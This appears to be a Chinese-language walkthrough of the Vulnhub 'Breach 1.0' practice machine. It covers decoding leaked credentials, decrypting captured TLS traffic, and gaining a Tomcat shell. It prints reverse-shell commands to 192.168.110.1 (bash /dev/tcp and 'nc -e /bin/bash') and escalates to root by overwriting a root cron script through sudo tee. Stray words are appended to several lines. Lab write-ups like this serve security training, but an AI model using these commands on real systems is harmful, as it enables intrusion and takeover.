Vulnhub靶场渗透练习(一) Breach1.0

 

 

打开靶场 固定ip须要更改虚拟机为仅主机模式 192.168.110.140html

打开网页http://192.168.110.140/index.htmljava

查看源代码发现能够加密字符串python

猜想base64 解密  cGdpYmJvbnM6ZGFtbml0ZmVlbCRnb29kdG9iZWFnYW5nJHRh  获得这个结果多是二次加密在base64解密mysql

获得 pgibbons:damnitfeel$goodtobeagang$ta  去除:    获得两个字符串pgibbons,damnitfeel$goodtobeagang$talinux

点击图片每一个路径都看看发现web

能够登陆 把刚刚拿到的两个密码进行尝试登陆sql

登陆成功 发现有3个邮件shell

192.168.110.140/.keystore   这个地址 为 ssl 加密证书的密钥库   继续搜索有用文件tomcat

 

 发现 有信息泄露 经过邮件信息猜想 tomcat bash

发现  pcap 文件 为 wireshark  流量包 能够下载来分析

都是加密过的  能够利用前面的ssl 解密  利用java 的 keytool 获取证书  输入

D:\jdk\bin>keytool.exe -list -keystore 

输入密钥库口令:tomcat
密钥库类型: jks
密钥库提供方: SUN

您的密钥库包含 1 个条目

tomcat, 2016-5-21, PrivateKeyEntry,
证书指纹 (SHA1): D5:D2:49:C3:69:93:CC:E5:39:A9:DE:5C:91:DC:F1:26:A6:40:46:53

Warning:
JKS 密钥库使用专用格式。建议使用 "keytool -importkeystore -srckeystore D:\jdk\keystore -destkeystore D:\jdk\keystore -deststoretype pkcs12" 迁移到行业标准格式 PKCS12。  

解密出来 结果

接着导出 p12 证书

输入

keytool -importkeystore -srckeystore D:\jdk\keystore -destkeystore D:\tomcatkeystore.p12 -deststoretype PKCS12
-srcalias tomcat

 

证书有了 咱们就能够查看了 打开Wireshark  编辑--首选项--Protocols--SSL,点击右边的Edit:

 

输入:192.168.110.140 8443 http 点击选择证书文件 输入密码tomcat

 

发现包含登陆用户名密码的数据包, 采用http basic认证,认证数据包为: Basic
dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC
这是base64编码的用户名密码,将 dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC 复制到Burpsuit Decoder进行解码,
获得Tomcat登陆用户名密码
Tomcat后台登陆用户名:tomcat,密码:Tt\5D8F(#!*u=G)4m7zB
拿到密码 后 能够直接登陆

 

Tomcat 后台是直接能够获取getshell 
 

这里上传马之后每隔3分钟会自动删除 因此咱们直接利用他反弹一个shell 这里能够用linux 自带的也能够 用msf 生成

 echo "bash -i >& /dev/tcp/192.168.110.1/4444 0>&1" | bash

本机 输入 nc.exe -lvp 4444

进入项目后直接能够查看项目寻找到 两个特殊文件

看到mysql 的用户密码

 

输入 

mysql -u root -p  回车 密码空 在回车
mysql -u root -p
use mysql;
select user,password from user;
exit

发现 milton 用户   去 etc/passwd 

发现对应用户 猜想就是这个用户密码 

到 https://www.somd5.com/ 解密,获得用户milton的明文密码:thelaststraw
切换 su -milton   用户
没法执行su命令,显示须要一个终端,以前都遇到这个问题,经过Python解决:
python -c 'import pty;pty.spawn("/bin/bash")'  

接着查询这个用户可否sudo   执行

sudo -l

没发现可利用的   再重新找线索

uname -a 

系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)
查找历史命令发现
su提权到了blumbergh用户。须要找到blumbergh用户的密码。将可用的资源文件下载发现
bill.png  底部是插入编码 多是二次隐藏密码  

tEXtComment  和coffeestains

利用这两个尝试登陆

登陆成功

用户名:blumbergh 密码:coffeestains
查sudo 权限
blumbergh@Breach:~$ sudo -l
sudo -l
Matching Defaults entries for blumbergh on Breach:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User blumbergh may run the following commands on Breach:
(root) NOPASSWD: /usr/bin/tee /usr/share/cleanup/tidyup.sh

可以以root 权限执行  

/usr/bin/tee /usr/share/cleanup/tidyup.sh

在去查看历史命令

发现/usr/share/cleanup和tidyup.sh脚本文件:
执行 
cd / 
blumbergh@Breach:/$ cd usr
cd usr
blumbergh@Breach:/usr$ cd share
cd share
blumbergh@Breach:/usr/share$ cd cleasnup
cd cleasnup
-su: cd: cleasnup: No such file or directory
blumbergh@Breach:/usr/share$ cd cleanup
cd cleanup

 

cat tidyup.sh

 获得
#!/bin/bash

#Hacker Evasion Script
#Initech Cyber Consulting, LLC
#Peter Gibbons and Michael Bolton - 2016
#This script is set to run every 3 minutes as an additional defense measure against hackers.

cd /var/lib/tomcat6/webapps && find swingline -mindepth 1 -maxdepth 10 | xargs rm -rf

3分钟删除一次刚刚上马的路径

 刚刚看到 这个用户可以执行tee 和 sh清除脚本
tee命令用于读取标准输入的数据,并将其内容输出成文件。tidyup.sh是清理脚本。以root权限运行
这里对linux 命令要解释一下 
cat 文件或者 echo ""   | tee -a  文件(要写到里面的文件) -a 不是覆盖是追加
所有咱们执行
echo "nc -e /bin/bash 192.168.110.1 5555"| sudo /usr/bin/tee  /usr/share/cleanup/tidyup.sh

 

cat 查看

等待nc 反弹 

 

成功 记得 python -c 'import pty;pty.spawn("/bin/bash")'  显示终端

相关文章
相关标签/搜索